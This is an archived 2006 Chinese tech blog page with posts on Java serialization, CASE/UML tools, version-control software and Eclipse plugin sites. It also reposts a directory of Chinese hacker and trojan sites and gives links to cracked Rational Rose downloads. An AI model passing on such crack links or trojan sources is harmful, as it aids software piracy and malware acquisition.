  从以上技术的讨论中我们不难体会到,序列化是Java之所以能够出色地实现其鼓吹的两大卖点??分布式(distributed)和跨平台(OS independent)的一个重要基础。TIJ(即“Thinking in Java”)谈到I/O系统时,把序列化称为“lightweight persistence”??“轻量级的持久化”,这确实很有意思。

★为什么叫做“序列”化?
  开场白里我说更习惯于把“Serialization”称为“序列化”而不是“串行化”,这是有原因的。介绍这个原因之前先回顾一些计算机基本的知识,我们知道现代计算机的内存空间都是线性编址的(什么是“线性”知道吧,就是一个元素只有一个唯一的“前驱”和唯一的“后继”,当然头尾元素是个例外;对于地址来说,它的下一个地址当然不可能有两个,否则就乱套了),“地址”这个概念推广到数据结构,就相当于“指针”,这个在本科低年级大概就知道了。注意了,既然是线性的,那“地址”就可以看作是内存空间的“序号”,说明它的组织是有顺序的,“序号”或者说“序列号”正是“Serialization”机制的一种体现。为什么这么说呢?譬如我们有两个对象a和b,分别是类A和B的实例,它们都是可序列化的,而A和B都有一个类型为C的属性,根据前面我们说过的原则,C当然也必须是可序列化的。

import java.io.*;
...
class A implements Serializable
{
C c;
...
}

class B implements Serializable
{
C c;
...
}

class C implements Serializable
{
...
}

A a;
B b;
C c1;
...

  注意,这里我们在实例化a和b的时候,有意让他们的c属性使用同一个C类型对象的引用,譬如c1,那么请试想一下,但我们序列化a和b的时候,它们的c属性在外部字节流(当然可以不仅仅是文件)里保存的是一份拷贝还是两份拷贝呢?序列化在这里使用的是一种类似于“指针”的方案:它为每个被序列化的对象标上一个“序列号”(serial number),但序列化一个对象的时候,如果其某个属性对象是已经被序列化的,那么这里只向输出流写入该属性的序列号;从字节流恢复被序列化的对象时,也根据序列号找到对应的流来恢复。这就是“序列化”名称的由来!这里我们看到“序列化”和“指针”是极相似的,只不过“指针”是内存空间的地址链,而序列化用的是外部流中的“序列号链”。
  使用“序列号”而不是内存地址来标识一个被序列化的对象,是因为从流中恢复对象到内存,其地址可能就未必是原来的地址了??我们需要的只是这些对象之间的引用关系,而不是死板的原始位置,这在RMI中就更是必要,在两台不同的机器之间传递对象(流),根本就不可能指望它们在两台机器上都具有相同的内存地址。

★更灵活的“序列化”:transient属性和Externalizable
  Serializable确实很方便,方便到你几乎不需要做任何额外的工作就可以轻松将内存中的对象保存到外部。但有两个问题使得Serializable的威力收到束缚:
  一个是效率问题,《Core Java 2》中指出,Serializable使用系统默认的序列化机制会影响软件的运行速度,因为需要为每个属性的引用编号和查号,再加上I/O操作的时间(I/O和内存读写差的可是一个数量级的大小),其代价当然是可观的。
  另一个困扰是“裸”的Serializable不可定制,傻乎乎地什么都给你序列化了,不管你是不是想这么做。其实你可以有至少三种定制序列化的选择。其中一种前面已经提到了,就是在implements Serializable的类里面添加私有的writeObject()和readObject()方法(这种Serializable就不裸了,),在这两个方法里,该序列化什么,不该序列化什么,那就由你说了算了,你当然可以在这两个方法体里面分别调用ObjectOutputStream.defaultWriteObject()和ObjectInputStream.defaultReadObject()仍然执行默认的序列化动作(那你在代码上不就做无用功了?呵呵),也可以用ObjectOutputStream.writeObject()和ObjectInputStream.readObject()方法对你中意的属性进行序列化。但虚拟机一看到你定义了这两个方法,它就不再用默认的机制了。
  如果仅仅为了跳过某些属性不让它序列化,上面的动作似乎显得麻烦,更简单的方法是对不想序列化的属性加上transient关键字,说明它是个“暂态变量”,默认序列化的时候就不会把这些属性也塞到外部流里了。当然,你如果定义writeObject()和readObject()方法的化,仍然可以把暂态变量进行序列化。题外话,像transient、violate、finally这样的关键字初学者可能会不太重视,而现在有的公司招聘就偏偏喜欢问这样的问题 :(
  再一个方案就是不实现Serializable而改成实现Externalizable接口。我们研究一下这两个接口的源代码,发现它们很类似,甚至容易混淆。我们要记住的是:Externalizable默认并不保存任何对象相关信息!任何保存和恢复对象的动作都是你自己定义的。Externalizable包含两个public的方法:

public void writeExternal(ObjectOutput out) throws IOException;
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;

  乍一看这和上面的writeObject()和readObject()几乎差不多,但Serializable和Externalizable走的是两个不同的流程:Serializable在对象不存在的情况下,就可以仅凭外部的字节序列把整个对象重建出来;但Externalizable在重建对象时,先是调用该类的默认构造函数(即不含参数的那个构造函数)使得内存中先有这么一个实例,然后再调用readExternal方法对实例中的属性进行恢复,因此,如果默认构造函数中和readExternal方法中都没有赋值的那些属性,特别他们是非基本类型的话,将会是空(null)。在这里需要注意的是,transient只能用在对Serializable而不是Externalizable的实现里面。

★序列化与克隆
  从“可序列化”的递归定义来看,一个序列化的对象貌似对象内存映象的外部克隆,如果没有共享引用的属性的化,那么应该是一个深度克隆。关于克隆的话题有可以谈很多,这里就不细说了,有兴趣的话可以参考IBM developerWorks上的一篇文章:JAVA中的指针,引用及对象的clone

一点启示

  作为一个实际的应用,我在写那个简易的邮件客户端JExp的时候曾经对比过好几种保存Message对象(主要是几个关键属性和邮件的内容)到本地的方法,譬如XML、Properties等,最后还是选择了用序列化的方式,因为这种方法最简单, 大约可算是“学以致用”罢。这里“存取程序状态”其实只是一个引子话题罢了,我想说的是??就如同前面我们讨论的关于logging的话题一样??在Java面前对同一个问题你可以有很多种solution:熟悉文件操作的,你可能会觉得Properties、XML或Bean比较方便,然后又发现了还有Preferences这么一个东东,大概又会感慨“天外有天”了,等到你接触了很多种新方法以后,结果又会“殊途同归”,重新反省Serialization机制本身。这不仅是Java,科学也是同样的道理。

posted @ 2006-05-20 11:56 MEYE 阅读(352) | 评论 (0)编辑 收藏
世界著名中国黑客网站目录
【转帖】世界著名中国黑客网站目录 来源:●★黑客基地论坛★●


1.http://www.hackbase.com     黑客基地

2.http://www.honkerbase.com   红客基地

3.http://www.redhacker.cn     红客大联盟

4.http://www.honkercn.net     红客中国

5.http://www.chinahacker.com   黑客大联盟

6.http://www.hacker.com.cn   黑客防线

7.http://www.hackerxfiles.net   黑客X档案

8.http://www.hackchina.cn     黑客中国

9.http://www.027safe.com     红黑联盟

10.http://www.cnlanker.org     蓝客联盟

11.http://www.hookbase.com   骇客基地

12.http://www.juntuan.net     第八军团

13.http://www.77169.com     华夏黑客联盟  

14.http://www.mmbest.com   木马帝国

15.http://www.eviloctal.com   邪恶八进制

16.http://www.huigezi.net     灰鸽子工作室

17.http://www.20cn.net       20CN安全工作室

18.http://www.315safe.com     315安全网

19.http://www.ttian.net       天天安全网

20.http://www.ttian.net       中国防黑网

http://www.955263.com   悠闲黑客基地
http://www.hackmeng.com   中国黑盟基地
http://www.hack800.com   中华黑盟
http://www.7dianhacker.cn   暗客基地
http://hackm.vicp.net       山东网安联盟
http://www.hackol.com     黑客在线
http://www.hacker101.net   中国网络维和部队
http://www.kusu.org       六月网络安全联盟
http://www.notid.net       无名网络
http://www.7747.net       红色黑客联盟

http://www.05112.com     黑客风云
http://www.hack98.com   东北黑客联盟
http://www.my-520.com   寂寞黑客联盟
http://chinansa.com       中国网络安全协会
http://www.cnnsc.org     安全基地
http://www.hack-safe.org   E网实验室
http://www.98exe.com   南域剑盟
http://www.hacker365.com 武汉黑客联盟
http://www.fshack.com   风神黑客联盟
http://www.gxfa.com     广西安全网络
http://www.21safe.net   21世纪安全网
http://www.532100.net   零零网络
http://forum.eviloctal.com   邪恶八进制
http://www.jfsky.com     飓风软件圆
http://www.huo119.com   世纪黑马
http://www.hack58.com   黑客动画吧
http://www.contnew.com   从零开始
http://www.wrsky.com   火狐技术联盟
http://www.cnxhacker.net 中国X黑客小组
http://www.fanghei.net   中国防黑网
http://www.aomg.net   黑豹网络
http://www.syue.com   岁月联盟
http://www.cycycy.net   潮阳人网站
http://www.caomeng.com 草盟网络
http://www.hackvip.com   黑软基地
http://www.hackfield.com   黑客领域
http://www.hackarea.com   阿强实验室
http://www.heibai.net   黑白网络
http://www.gaodumm.com 笨小妞木马官方网站
http://www.hhack.com   37.2℃网安基地
http://www.hacksafe.org   中国动画基地
http://www.heijun.com   黑军软件园
http://www.13age.com   龙之联盟安全站
http://www.xker.com     中文专业计算机教程门户
http://www.hciy.com     快乐驿站
http://www.hackhome.com 网侠
http://www.janker.org     孤独剑客
http://www.haha168.com   八月妖
http://www.huigezi.net   灰鸽子工作室
http://www.hacker.cn     中国安全信息网
http://www.coolersky.com   酷客天堂
http://www.cnkinghack.com 黑客王朝
http://www.27a.cn       黑客派对
http://www.lzhacker.ful.cn   中华英雄黑客联盟
http://www.hackcy.com   异次元方阵
http://www.netxboy.com   依水社区
http://www.bswdc.net   不是我的错
http://www.hbhacker.net   中国华北黑客联盟
http://www.hackeroo.com   安全警戒线
http://www.xovc.com     黑客X工具
http://www.hacker110.cn   中国网警联盟
http://www.icq418.com   海南网安
http://www.hackke.com   湖南黑客联盟
http://www.kusu.org     六月网络安全联盟
http://www.hnhack.com   湖南网安联盟
http://www.hackblan.com 冰兰网络
http://www.weiweii.com   捌度空间
http://www.anqn.com   安全中国
http://hf110.com       黑色反击安全在线
http://www.polay.net   黑客百宝箱
http://www.blackcorps.net 黑客军团
http://www.5jx.net     网络无极限
http://www.hackway.cn   黑客天空
http://www.hx99.net   华西黑客联盟
http://www.nohack.cn   黑客手册
http://www.wcrkey.com   中国野鹤破解联盟
http://www.cnhacker.cn   影子鹰安全网络
http://www.tiantiansoft.com程序员家园
http://www.shockhack.net 中国爱国大联盟
http://www.21cnlong.com 龙翔阁网络
http://www.ciker.net   爱国者Ⅱ
posted @ 2006-05-20 08:34 MEYE 阅读(4472) | 评论 (1)编辑 收藏
常用CASE工具介绍

一,概述

今天, 代码变得日益简单, 在Model的指导下, 思想, 设计, 分析都变得异常重要。企业业务建模工具, 产品非常多, 特别是在MDA日益流行的今天. WorkFlow是典型的业务及流程建模。

二,软件开发CASE工具简介

(一)图稿绘制:

1,visio:这是目前国内用得最多的case工具。它提供了日常使用中的绝大多数框图的绘画功能(包括信息领域的各种原理图,设计图),同时提供了部分信息领域的实物图。visio的精华在于其使用方便,安装后的visio2000既可以单独运行,也可以在word中作为对象插入,与word集成良好,其图生成后在没有安装visio的word仍然能够查看。使用过其他绘图工具的朋友肯定会感受到visio在处理框和文字上的流畅,同时在文件管理上,visio提供了分页、分组的管理方式。visio支持 UML的静态和动态建模,对UML的建模提供了单独的组织管理。从2000版本后visio被Microsoft收购,正式成为Office大家庭的一员,目前最新版是2002。纳入名门的visio2002被微软的风格所同化,样子出现了一些华而不实的东西,但是功能上visio不减从前,各种器件模版有了许多增进。

它是最通用(MS的东西,意味着许多附带的通用的东西)的硬件、网络平台等图表设计软件。好处是易用性高,特别是对不善于自己构造图的人。但是正因为很全,所以某个方面上会造成专业程度较低。

有关工程管理类的显然不如PROJECT2000好用;
画IDEF0图显然不如BPWIN好用;
画IDEF1X图显然无法与ERWIN相比;
画组织机构图WORD足够用了,且普遍适用;
画网络拓扑结构图只要有相应的图素,用什么画都行;
画有关图表类的显然不如EXCEL好用;
关键的是,VISIO的图只能以对象的方式插入你的主文档,只有在它本身环境下才能修改。

2,smartdraw:校园里比较流行的绘图软件。用惯了visio,感觉smartdraw有许多不一样的地方。一开始就是提供你大堆模版,以目录树的形式放在左边。你的设计都可以纳入模版,并且在某个目录组织。smartdraw也是大手笔,有许多visio没有的方便功能。比如插入表格。smartdraw本身是独立提供图稿绘制的工具,因而工具齐全。而visio更多是与word集成在一起,能够充分利用 word的编排功能。有心者不妨一试,有了感觉我们再交流。

(二)原码浏览的工具:

1,SourceInsigt:不能不说这个东西是个好东东。以工程的方式管理原码,提供非常适合再工程的浏览手段.整个面板分成三个部分.左边树提供工程内的所有变量,函数,宏定义,右边提供程序阅读和编辑,下边显示你鼠标在原码触及的函数或者变量定义.最让人佩服的是SourceInsigt不仅高亮你的关键字,而且以近乎完美的板面编排让你看程序如果看报纸,好极了。SourceInsigt提供函数交叉调用的分析,并以树状的形式显示调用关系。不过,速度有些问题,我一般不用。我用的版本是3.0 2000产品。

2,SourceNavigator:这个是从Redhat Linux版本移植到win32下的,与SourceInsigt相比,样子土多了,处处透着Linux的乡土气息,不过是干实事的家伙。提供原码高亮显示和编辑,提供头文件的包含关系分析,提供类的层次关系,这个东西最大的特点是把原码始终和文件联系在一起,提供到文件的导航。当然不能说它使用很方便,我一般不用它,但是它的分析速度有优势,这是SourceInsigt必须低头的。

3, Dia:(http://www.gnome.org/projects/dia/)完全免费的东西, 目前有 Win32 Port 了, 6MB 左右, 画图足够用了. 可惜不能生成代码.我在win2000ads上安装却有问题。

(三)配置管理工具

配置管理的重要意义在于维护文档的统一和可追溯性。尽管宏观的配置管理包括很多内容,但是我们最常用到的是对程序代码的版本控制,至于变更的控制、管理和通知这里不多介绍。下面将简要介绍国内几种常用的工具。

1,Virsual Source Safe:

微软的studio企业版包含的版本管理工具。该工具包括一服务器和一通过网络可以连接服务器的客户端。VSS提供了基本的认证安全和版本控制机制,包括 CheckIn(入库)、CheckOut(出库)、Branch(分支)、Label(标定)等功能;能够对文本,二进制,图形图象几乎任何类型的文件进行控制;提供历史版本对比;可以集成在studio中。

VSS的客户端既可以连接服务器运行,也可以在本机运行,非常适合于个人程序开发的版本管理。 VSS的详情我以后还会贴出)

2,PVCS:

PVCS 是世界领先的软件开发管理工具,市场占有率达70%以上,是公认的事实上的工业标准。IDC在1996年9月的报告中评述:“PVCS是软件开发管理工业领域遥遥领先的领导者”。全球的著名企业、软件机构、银行等诸多行业及政府机构几乎无一例外地应用了PVCS.

PVCS包含多种工具。 PVCSVersionManager会完整、详细地记录开发过程中出现的变更和修改,并使修订版本自动升级,而PVCSTracker、PVCS Notify会自动地对上述变更和修改进行追踪。另外,PVCSRequisitePro提供了一个独特的MicrosoftWord界面和需求数据库,从而可以使开发机构实时、直观地对来自于最终用户的项目需求及需求变更进行追踪和管理,可有效地避免重复开发,保证开发项目按期、按质、按原有的资金预算交付用户。

我比较喜欢的是PVCS基于WEB的应用比较方便,只要设定用户和权限,规划好目录结构,项目组成员通过浏览器完成操作。

3,ClearCase:

ClearCase 是rational公司的主要配置管理工具,可能大家对Rose熟悉一点,不过就我所知,现在绝大多数企业已经从PVCS过渡到ClearCase来了,其原因在于ClearCase是整个rational产品系列中的中枢(repository).

ClearCase提供了VOB的概念来进行配置管理,功能极其强大。同时ClearCase使用起来也非常复杂,没有经过专门培训,自学还是有一定难度的。ClearCase目前国内流行版本是for NT的4.1需要在NT主域控制器上安装。ClearCase的解密和安装比较复杂。

ClearCase是世界上目前最强大的配置管理工具之一,由于它采用许多新的配置管理思想,使得相对于传统的 CVS,VSS,PVCS等版本管理工具,ClearCase具有许多闪光点,目前正在为世界上各大软件企业所使用(国内目前华为,先驱使用该系统)。 ClearCase中有大量的新的术语。其中比较重要的术语有:UCM(统一配置管理) VOB(版本对象基础) View(版本视图) Activity(更新活动)。ClearCase实现版本管理的基础是VOB,成员要更改受控资料,需要先设置一个自己的View,这个View是你感兴趣的受控资料范围,然后可以Check Out资料到本地资料区,进行修改后再Check In提交。ClearCase极为有力的支持多版本、并行开发。ClearCase不仅可以提供基于文件的版本历史,甚至可以对整个目录系统的演化进行跟踪记录。

ClearCase目前支持的执行平台有UNIX\LINUX,WINNT。WINNT最新版本是ClearCase 2002,Solaris上我使用的版本是4.3.需要指出的一点是ClearCase十分昂贵,普通企业难以购买,另外由于其功能十分强大,对系统管理员和使用者要求较高,培训费用不匪。

4,CVS:

在linux和unix下系统自带的版本控制工具,是版本控制中工具的鼻祖,功能十分强大,但是都得通过命令行的形式来操作,不便使用。目前,Internet上提供了基于Windows的客户端,名字叫WinCVS,而且提供了原码。

(四)数据库建模

1,ERWin:CA 公司出品的拳头产品, 强大的老牌数据库建模工具。它有一个兄弟是BPWin,这个是CASE工具的一个里程碑似的产品。目前的我使用的版本是4.0。ERWin界面相当简洁漂亮,也是采用ER模型,如果你是开发中小型数据库,极力推荐ERWin,它的Diagram给人的感觉十分清晰。在一个实体中,不同的属性类型采用可定制的图标显示,实体与实体的关系也一目了然。当然ERWin不仅是花花公子,它提供的功能如PowerDesian一样强大(不支持UML)。从我个人使用的感觉,ERWin不适合非常大的数据库的设计,因为它对Diagram欠缺更多层次的组织,而且不知什么原因,我感觉它对内存要求较高,使用到后期容易出现图标不能显示的情况,一如windows内存紧缺的表现。

erwin支持idef1x即信息建模,就是我们常说的er图、实体关系图,也就是数据库结构图。bpwin支持idef0/idef3/dfd,是功能与流程建模,主要用来描述企业的业务流程,比uml的usecase/sequence更适合描述复杂逻辑。如果要全过程支持,请选择bpwin + PowerDesigner7.5/8 or erwin4 + rational rose 2001 (建议用于50~200个table的信息系统)

ERWin 的不足:对中文支持不好。和Er/Studio比较:

<1>在权限/版本管理方面 ER Studio 和 Rational Rose 有些相似,允许分模块 进行 check in /check out ,并发开发程度高, ERWin这一点就不行了!!

<2>另外一个就是 ERWin 的逆向工程虽然和 ER Studio 一样提供一堆过滤条件,但却不能指定的对象(如:指定的数据表/视图/触发器)进行逆向工程,但ER Studio 却提供了这些功能。

<3>此外ER Studio还提供了宏功能,把VB的一些功能以插件方式提供了 用户,但 ERWin 中却没有提供!! 虽然这个功能一般的用户根本很少使用!

看到ER Studio 的宏功能,很容易让人想到Winmap 的一堆插件,两者的公司都向用户提供了插件(宏)让用户下载使用!这种做法很值得很多软件公司参考!!

当然 CA 公司也不是个废物,提供了几个重要的功能:提供了自家开发的 BPWin 的 接口,以及Oracle 这个数据库巨人的 Designer 的接口。另外同样提供了插件功能,只不过这个插件的接口需要使用他的标准,这一点有点象Rational Rose 的 Add in manager 一样(例如: delphi link )!!

ER Studio 提供了针对 XML 的接口,但ERWin却没有!!

2,MS Visio:

3,Case Studio:性价比最高

4,ER/Studio:很不错的数据库建模工具新势力, 非常不错. 结合Repository, 可进行VSS式的版本控制。erwin能做到的它都能做到..?

5,modelmake

6,DeZign for Databases:如果你是软件工程师或是软件产品经理等常常需要规划系统的话,势必会需要规划数据库的Table Schema。这套软件能够辅助你的规划,将各个Table之间Key的关连性表达出来,也提供有资料库栏位异动时的版本控制纪录与统计报表等功能。

7,PowerDesign:Sybase推出的主打数据库设计工具。PowerDesign致力于采用基于 Entiry-Relation的数据模型,分别从概念数据模型(Conceptual Data Model)和物理数据模型(Physical Data Model)两个层次对数据库进行设计。概念数据模型描述的是独立于数据库管理系统(DBMS)的实体定义和实体关系定义。物理数据模型是在概念数据模型的基础上针对目标数据库管理系统的具体化。Sybase数据库在国内知名度可能不及Oracle,但是Sybase 的数据库前端开发工具PowerBuilder却是无可匹敌,再加上PowerDesign的确有过人之处,因而它在国内得到相当广泛的使用。我手里使用的是2001的PowerDesign8.0,这个版本我感觉上比早期的PowerDesign6.0-7.5都有了很大的改变。PowerDesign 功能强大,使用非常方便。首先它提供了概念模型和物理模型的分组,呈现在使使用区左边的是树状的概念模型和物理模型导航,你可以建立多个概念模型和物理模型,并且以Package的形式任意组织;它几乎能够产生到所有常用数据库管理系统的SQL脚本,当然你完全可以不经过SQL脚本直接在DBMS中生成数据库;它提供增量的数据库开发功发功能,支持局部更新,你可以在概念模型,物理模型,实际数据库三者间完成设计的同步。还有逆向工程,再工程支持,目前还支持UML建模.总体感觉PowerDesing发展到8.0已经非常成熟,许多使用上细微的感觉只有你用过它才好评价,我不多说了。

8,Rational Rose

(五)UML建模

UML 不算是个新名词, 但是实际中还是用得很少(可能是因为都是做小项目的原因吧, 大项目就用得多了).

UML 是个好东西, 但是过分的依赖于 UML 也不是一件好事, 因为有时候它会把简单的东西复杂化. 即使是代码的优良结构和可重用性也不能作为强制使用 UML 借口, 良好的算法完全可以替代部分不必要的设计模块, 或者说, 其实有更好的 UML 设计你没有发现.

1,Rational Rose:大恐龙, 小项目中难以使用, 虽然是 UML 设计者做的。虽然这是一个推荐使用的高端工具,它使改进和维护设计、从模型生成报表、在平行协作环境中与他人共同进行建模工作变得很方便。

尽管Rose这个名称跟英文中玫瑰单词一摸一样,但是这里他代表Rational公司的面向对象分析和设计工具的一款力作。Rose目前在国内正被越来越多的公司所使用,其原因一方面是随着软件规模的扩大,面向对象分析和设计的优势突现出来,软件企业正在从面向过程向面向对象过渡。另一方面,Rose集中体现了统一软件建模(UML)的先进设计思想,能够通过一套统一的图形符号简洁有效地表达各种设计思想。当然, Rose本身在设计上的完善和与Rational CASE家族的完美集成也是作为一款最成功的CASE产品的基础。

Rose 2002功能上可以完成UML的9种标准建模,即静态建模(用例图 类图 对象图 组件图 配置图 )和动态建模(合作图 序列图 状态转移图 活动图),为了使静态建模可以直接作用于代码,Rose提供了类设计到多种程序语言代码自动产生的插件。

同时,作为一款优秀的分析和设计工具,Rose具有强大的正向和逆向工程能力。正向工程这里指的是由设计产生代码,逆向工程指由代码归纳出设计。通过逆向工程Rose可以对历史系统作出分析,然后进行改进,再通过正向工程产生新系统的代码,这样的设计方式我们称之为再工程。

下载地址:Rose2000和破解:http://id49479.my.u2i.net/
Rose2003: http://www.nj13z.cn/2004/down_view.asp?action=download&id=14
Rose2003破解:http://www.vchelp.net/ASP/cdf_pic/200405/reply_1_529068.rar

2,XDE, 分别有4 vs.net和4 wsda的, 很不错, 值得使用.

3,Borland Together:有很多版本, 其中4VS.Net不推荐使用, 用Jbuilder推荐使用, 只是实在不喜欢它的界面。(Java 开发的大,慢恐龙, 但是各项功能很爽,这也不能怪它,java做的东西慢是正常的)。但它的功能还是很强大的。尤其是逆向工程用起来很方便,只不过当时我们的EJB项目中EJB都非常大,动辄几千行,用它生成的sequence图实在太详细了,只有不停地删掉细节,留下框架。建议非不得已不要使用这个庞然大物,对你的机器和你的耐心都是个考验。它有for eclipse, vs.net等等插件,感觉也不错。

4,MS Visio 2003 for Visual Studio:Visio Professional 2000开始提供内建的UML支持。Enterprise版更加完整。这是一个功能广泛强大的工具。和vs.net结合不错, 只是仅限于 VS.NET 的代码生成, 没意思,各方面都不舒服。

5,PowerDesigner:是简练实用的建模工具、6.0支持数据流图,8.0支持UML的UseCase/sequence/class视图;

6,Visual Paradigm:(http://www.visual-paradigm.com/vpuml.php)目前最合适也是最火的软件了(从这一年来网站的设计变化就可以看出来好卖), 强大, 非 Java. Community Edition 可以免费使用, 当然有功能限制.是一种UML建模和分析工具,出色的建模功能和代码同步。

7,WithClass 2000:(http://www.microgold.com/)界面不是很好看, 而且也没有免费版本, 不过功能还不错, 特别是代码生成的能力.

8,Poseidon (海神...):也是 Java 的, 很漂亮, 就是太慢。

9,Jude:一个号称中日xp合作开发出来的小uml工具,只有几m的大小,功能也还不错。也是java做的,速度还是很快的。如果不需要使用逆向工程之类的高级功能的话,强烈推荐这个uml工具,并且它是免费的。

10,MagicDraw:一个基于Java的廉价UML建模工具。

11,Objecteering UML:一个免费的个人UML产品。

12,System Architect:一个很受欢迎的高端UML建模工具,支持双向工程(Round-trip Engineering)。

Rational Rose 98教程
http://www.zsbs.com/h/sdm/se_tool/rational/rose/rose98.htm
偶用过的UML工具
http://rongsantang.yculblog.com/post-253978.html
又是 UML
http://www.myie2.com/sic/blog/blogview.asp?logID=27

几类常用Case工具介绍(1)
http://www.vchelp.net/cndevforum/subject_view.asp?subject_id=2918&forum_id=61

Marko Boger:: XP、、UML 和和Poseiidon
www.gentleware.com/press/2003/20030806_Chat_Umlchina_CHIN.pdf

Together 应用之路(1) - 我没有前世
http://blog.joycode.com/uestc95/archive/2004/07/09/27118.aspx


 
posted @ 2006-05-19 10:53 MEYE 阅读(1816) | 评论 (1)编辑 收藏

[保留] 常用版本控制软件简介



常用版本控制软件
根据查看网络上的资料,看到一般的公司使用的版本控制软件大致如下:
(其中的等级评语来自http://www.hansky.com/cn/news/select_scm3.html 但其中没有介绍关于Perforce,StarTeam)
1.Clear case  --------〉中坚级
2.CVS  --------〉开源奇葩
3.Visual SourceSafe                                 --------〉入门级
4.PVCS  --------〉小工作组级
5 Perforce  --------〉
6.CCC  --------〉元老级
7.StarTeam  --------〉
8.RCS  --------〉元老级
9.SCCS  --------〉元老级
10.Hansky Firefly                                 --------〉新秀级
11.Others(还有一些比较少见或某个公司专用的软件,如Seapine,北大青鸟的JBCM等) 


1.Clearcase是Rational公司(2003年被IBM收购)的一款重量级的软件配置管理(SCM Software Configuration Managemen)工具。不同于CVS和VSS,Clearcase涵盖的范围包括:版本控制、建立管理、工作空间管理和过程控制。从最初的软件配置计划,到配置项的确立,从变更控制到版本控制,它贯穿于整个软件生命周期。 ClearCase支持现有的绝大多数操作系统。ClearCase 安装、配置、使用相对较复杂,需要进行团队培训。

2. CVS 是Concurrent Versions System 的缩写,它是开放源代码软件世界的一个伟大杰作,由于其简单易用、功能强大,跨平台,支持并发版本控制,而且免费,它在全球中小型软件企业中得到了广泛使用。其最大的遗憾就是缺少相应的技术支持,许多问题的解决需要自已寻找资料,甚至是读源代码。CVS是一个典型的Server/Client端软件,有UNIX版本的CVS 、Linux版本的CVS,和WINDOWS版本的CVS,在下载的软件包中已经包含了Server端和Client端,但是因为我们在工作中一般都是使用Windows操作系统,所以我们可以再下载一个Windows下CVS的Client端软件WinCVS。在以下网站可以获取最新版本的CVS。http://www.cvshome.org。CVS支持远程管理,项目组分布开发时用CVS。 

3.VSS微软的产品。简单好用,局域网中用VSS。用于Team级还可以,企业级不好。仅支持Windows 操作系统。
4.PVCS MERANT 公司的核心产品PVCS,PVCS的最新版PVCS8.0。在PVCS8.0中,过程支持的功能与PVCS进行了集成。看到网上对它的介绍不多,据说曾经赠送给国内很多大的机构使用。主要功能:软件配置管理;问题管理;过程控制与自动化,  帮助软件开发组织自动提高软件产品质量。

 
5.Perforce是美国perforce软件公司的软件配置产品家族,其特点是易用性强,速度快。主要特性【smchina.net 观点 】: 安装、配置和管理非常简单,安装过程几分钟就可以搞定 ;基于TCP/IP的客户服务器架构,不依赖于其他网络协议如NFS等 ;采用流式传输协议提高传输效率 ;易用,命令行客户端容易上手 ;文件间分支技术更自然符合开发人员工作习惯 ;与变更管理集成,并提供开放接口,支持第三方变更管理工具
6.CCC 上个世纪七十年代初期加利福利亚大学的Leon Presser教授撰写了一篇论文,提出控制变更和配置的概念,之后在1975年,他成立了一家名为SoftTool的公司,开发了自己的配置管理工具:CCC,这也是最早的配置管理工具之一。
7.Borland StarTeam一个用于管理配置和变更的集成环境。主要特性:改善分散式开发团队的沟通及工作表现;提高对应用软件开发生命周期的观测力和控制力;利用现有的技术投资并提高投资回报(ROI);定制满足机构要求的解决方案. StarTeam和Microsoft Source Code Control接口(API)兼容,从而能够同支持该接口的众多工具平台进行无缝集成。StarTeam还可以与特定开发工具进行集成,例如Microsoft、IBM、和Borland的主流开发工具,包括Borland JBuilder、Borland Delphi、Borland C++ Builder。StarTeam还可以与很多第三方软件集成,从而充分发挥开发机构用于开发、测试和需求等活动的现有投资价值。全部软件开发资产被妥善地保存在StarTeam Server中,有助于减少生命周期中不同环节之间的障碍,提高团队协同工作与信息共享的效率,从而提升开发机构的投资回报率并加速软件交付市场。
8.RCS是另一种基本的源代码管理工具,是WALTER.f.Tichy 于1980 年在Indina的 Purdue 大学开发的. RCS和SCCS 类似,也是基于单一文件的版本维护系统.
9.SCCS的全称是Source Code Control System。是一种基本的源文件版本控制工具,它适用于任何正文文件的版本维护.它基于单一文件的版本控制,通常,它的软件储藏室和要维护的文件在同一目录下. SCCS 工作时,有一个专门的SCCS 格式的文件保留其源文件的编码版本,其记录了足够的信息来生成新的版本,并记录了谁对文件有修改权,拥有该版本的”锁”.
10.H a n s k y 公司软件开发管理套件中重要一员的Firefly,可以轻松管理、维护整个企业的软件资产,包括程序代码和相关文档。Firefly是一个功能完善、运行速度极快的软件配置管理系统,可以支持不同的操作系统和多种集成开发环境,因此它能在整个企业中的不同团队,不同项目中得以应用。Firefly基于真正的客户机/服务器体系结构,不依赖于任何特殊的网络文件系统,可以平滑地运行在不同的LAN、WAN 环境中。它的安装配置过程简单易用,Firefly 可以自动、安全地保存代码的每一次变化内容,避免代码被无意中覆盖、修改。项目管理人员使用Firefly可以有效地组织开发力量进行并行开发和管理项目中各阶段点的各种资源,使得产品发布易于管理;并可以快速地回溯到任一历史版本。系统管理员使用Firefly的内置工具可以方便的进行存储库的备份和恢复,而不依赖于任何第三方工具。


posted @ 2006-05-19 10:51 MEYE 阅读(728) | 评论 (0)编辑 收藏
收集Eclipse插件网站

摘自 CSDN(http://blog.csdn.net/blueball/archive/2004/07/26/51821.aspx)

http://www.eclipse-workbench.com/jsp/
http://www.objectlearn.com/index.jsp
http://www.crionics.com/products/opensource/eclipse/eclipse.jsp
http://eclipse-plugins.2y.net/eclipse/index.jsp----------good
ftp://202.113.29.2/pub/eclipse/plugins/  
http://sourceforge.net/projects-------plugin project
http://vssplugin.sourceforge.net/
http://www.azzurri.jp/en/software/clay/index.jsp---------database modeling plugin
http://www.improve-technologies.com/alpha/struts-config-editor/--------plugin
http://www.sysdeo.com/eclipse/tomcatPlugin.html--tomcat的plugin和jboss的plugin 

Lombo
 http://www.objectlearn.com/
TomcatPlugin
 http://www.sysdeo.com/eclipse/tomcatPlugin.html

EasyStruts
 http://easystruts.sourceforge.net

EclipseColorer plugin 
 http://colorer.sf.net 

CVS-SSH2 Plug-in for Eclipse 
 http://www.jcraft.com/eclipse-cvsssh2/
JadClipse
 http://jadclipse.sourceforge.net/

SWT Designer
 http://www.swt-designer.com/

Hibernator
 http://hibernator.sourceforge.net/ 

1.eclipseuml-installer_1.2.1.20030512.jar
req emf_1.1.0_20030501_0612VL.zip & GEF-runtime-I20030327.zip
UML工具,比较像rose, 有些bug,而且没有放大缩小,拖来拖去眼都晕了,不过比slim好
2.lomboz.21_02.zip
J2ee plugin ,dw上推荐的说
  http://www-900.ibm.com/developerWorks/cn/java/l-jsp-eclipse/index.shtml?n-j-04241

3.jadclipse_b206
Jad Java decompiler plugin

4.NLS-SDK-2.0.1-Translations.zip
eclipse多国语言包,连doc都本地化了!

5.v4all_2.1.0.17
传说中的Swing IDE,可视化编程

6.EclipseColorer-take5.0.4.0
